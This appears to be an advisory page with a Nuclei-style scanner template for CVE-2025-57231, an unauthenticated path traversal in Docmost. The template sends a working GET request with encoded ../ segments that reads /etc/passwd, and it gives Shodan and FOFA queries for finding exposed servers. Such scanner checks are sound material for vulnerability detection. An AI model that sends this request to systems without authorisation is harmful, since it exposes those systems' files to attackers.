CVE-2025-57231: Docmost 0.2.1-0.21.0 - Arbitrary File Read

2026-09-16 Unknown PoC Public

Description

Docmost v0.21.0 contains a path traversal caused by improper handling of avatar attachments, letting unauthenticated attackers disclose local files via a POST request on a public URL.

PoC

id: CVE-2025-57231

info:
  name: Docmost 0.2.1-0.21.0 - Arbitrary File Read
  author: anirbala98
  severity: high
  description: |
    Docmost v0.21.0 contains a path traversal caused by improper handling of avatar attachments, letting unauthenticated attackers disclose local files via a POST request on a public URL.
  impact: |
    Unauthenticated attackers can disclose local files, potentially exposing sensitive information.
  remediation: |
    Update to the latest version.
  reference:
    - https://www.artresilia.com/docmost-v0-21-0-cve-2025-57231-unauthenticated-file-path-traversal
    - https://github.com/advisories/GHSA-59m3-fj8c-996g
    - https://nvd.nist.gov/vuln/detail/CVE-2025-57231
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-57231
    epss-score: 0.0126
    epss-percentile: 0.68106
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: docmost
    product: docmost
    shodan-query: http.title:"Docmost"
    fofa-query: title="Docmost"
  tags: cve,cve2025,docmost,lfi,traversal,file-read,unauth

http:
  - raw:
      - |
        GET /api/attachments/img/avatar/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a70c81766ab3582baa3ed792566b7d8902793bc45a36226c0d4f0f418b025f6b0221009480b4e1c0125242b7b55037d5c222460b45e39d9768e7308320feffc4b019b1:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.